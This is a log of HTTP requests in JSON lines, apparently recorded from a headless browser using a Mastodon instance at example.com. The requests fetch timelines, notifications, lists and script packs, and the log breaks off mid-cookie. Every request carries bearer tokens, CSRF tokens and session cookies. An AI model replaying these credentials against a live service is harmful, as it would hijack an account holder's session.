{"method": "GET", "target": "/api/v1/timelines/home", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/notifications?grouped_types%5B%5D=favourite&grouped_types%5B%5D=reblog&grouped_types%5B%5D=follow&exclude_types%5B%5D=follow_request", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/instance/translation_languages", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/follow_requests", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/lists", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/followed_tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/suggestions?limit=20", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/streaming/?", "headers": ["Host: example.com", "Connection: Upgrade", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Upgrade: websocket", "Origin: https://example.com", "Sec-WebSocket-Version: 13", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MzEuMzY2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f62798087cb39d52a77f59b40d170779fc72d91e; _mastodon_session=3KI6RuYM9zGv%2FugjPwC1%2FlO%2BFeVNkvGcOrUj6CCDklyT%2BkgobTeFkFuN%2F6G5wjU5xnnoMBP1yE1HamAXxrrHGyMnRW8HCIR2r1GJykqzJsXJGLjwBqq5qLngmnRwNVgWYq9bvW99JxeU4HxhEmw47nQgYqOjhvcjc0QQgYakMaxMqmocUKYeDQJf0aeYphtcUP3svGfZc%2BfEje2nudeG87m0jPYpHc2mPnB32In1IEWjNOijjzgE0kILLZzcfQf%2Fx3t7KayVRjw43C0IU6a8qOjEFTX1IjJYAnsveNfToCTrlVKByIDAnjLnLg34miF3%2Bu6qm3td51sa7QWcuZnU2NfOCDjddytkcWzIVyToiwL24nxoYBS%2FJxIyY3QJgHekj%2FFw8yHAuv3f--88gUJNQUBbhKn%2Bsr--veY1ZNSeux%2FXsOV%2BlNp3QQ%3D%3D", "Sec-WebSocket-Key: EQjJJ6DGqvnPJceC0oQBYg==", "Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits", "Sec-WebSocket-Protocol: uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y"], "body": ""}
{"method": "GET", "target": "/packs/push_notifications-C0ir4q-Q.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=v2%2Fq0E%2FqQKhuiyAwzWncgsSVevHO%2F9hltrfPHh8HYrha8F1JyaEcp0GI%2FiS8Gm6us93Vgu6CqY0vM%2BOq0bp7%2FAnuXVIFAtu5L%2FmB58Xa9XM%2BR%2Fd%2BmqfzI5WKqxGEIr8KxyHApqXEexVKSbuU3hTc7gHs5fmCMKUq%2BLoPp0PK87leSH%2FHjA%2Fv1BcyGqtFMVKKDUXkJ9kA2gG0aA3eXwXwUDur34V175OpNmTVRJP4YBNHldOFU0in6r4Y52yfoTK3GemC5ivJYjTkTWC4n41Gw6PWMWZ7Zr1C5A%3D%3D--ZMe41imfFsZeuqvn--11QYUrWIi6YrEdv47nMY%2Fg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/utils-B19lL5A9.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDIuMTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a481d7ad991eff73f40c0414fe87ba9d8b41d1eb; _mastodon_session=cbc6a3Lk%2BKdhOtrESdEIzenzBjcsIJk8AXTSFGkysgRzzFEevEYmUbku1CS5alFWEjDOfNoICS8b%2Fl41DwXXvJ%2Ba5CmSGMkaDD7DDn1hMz31s3V5tHSqnQvHWGyQs7hOUUAZuigWUbNH9fPNMH3hMqfhjxcjdDQqMvsYItsMskR47jtgKqbEUcNKJqWzkHT2tBg5%2BuvAvarzkNLM%2BupOEFrMX7%2BMgR8gCzQfZlXjHAqD4mgIBi6RaVVo0UrsieaAsKg3Sb2kYvbtschnthBDwB2vPfr3LhnNooBlVX5xuHIBS6IEXVUIdBu7CLV1OMb%2F%2F6G13YLef1gWO7UIAz6nufB52bnp1PQhb2a5AkBDFJhVeq%2BhTVbJ3V7LNNV2fYQL9rHwghoKq2H4--vKS3FAVKl0%2FLuieX--mpOaf6XYM%2BcYJjzmk9ry5Q%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/simple-RcjHIGVG.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDIuMTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a481d7ad991eff73f40c0414fe87ba9d8b41d1eb; _mastodon_session=cbc6a3Lk%2BKdhOtrESdEIzenzBjcsIJk8AXTSFGkysgRzzFEevEYmUbku1CS5alFWEjDOfNoICS8b%2Fl41DwXXvJ%2Ba5CmSGMkaDD7DDn1hMz31s3V5tHSqnQvHWGyQs7hOUUAZuigWUbNH9fPNMH3hMqfhjxcjdDQqMvsYItsMskR47jtgKqbEUcNKJqWzkHT2tBg5%2BuvAvarzkNLM%2BupOEFrMX7%2BMgR8gCzQfZlXjHAqD4mgIBi6RaVVo0UrsieaAsKg3Sb2kYvbtschnthBDwB2vPfr3LhnNooBlVX5xuHIBS6IEXVUIdBu7CLV1OMb%2F%2F6G13YLef1gWO7UIAz6nufB52bnp1PQhb2a5AkBDFJhVeq%2BhTVbJ3V7LNNV2fYQL9rHwghoKq2H4--vKS3FAVKl0%2FLuieX--mpOaf6XYM%2BcYJjzmk9ry5Q%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/callout-B1KuUxns.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDIuMTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a481d7ad991eff73f40c0414fe87ba9d8b41d1eb; _mastodon_session=cbc6a3Lk%2BKdhOtrESdEIzenzBjcsIJk8AXTSFGkysgRzzFEevEYmUbku1CS5alFWEjDOfNoICS8b%2Fl41DwXXvJ%2Ba5CmSGMkaDD7DDn1hMz31s3V5tHSqnQvHWGyQs7hOUUAZuigWUbNH9fPNMH3hMqfhjxcjdDQqMvsYItsMskR47jtgKqbEUcNKJqWzkHT2tBg5%2BuvAvarzkNLM%2BupOEFrMX7%2BMgR8gCzQfZlXjHAqD4mgIBi6RaVVo0UrsieaAsKg3Sb2kYvbtschnthBDwB2vPfr3LhnNooBlVX5xuHIBS6IEXVUIdBu7CLV1OMb%2F%2F6G13YLef1gWO7UIAz6nufB52bnp1PQhb2a5AkBDFJhVeq%2BhTVbJ3V7LNNV2fYQL9rHwghoKq2H4--vKS3FAVKl0%2FLuieX--mpOaf6XYM%2BcYJjzmk9ry5Q%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/markers?timeline%5B%5D=notifications", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/timelines/home", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; 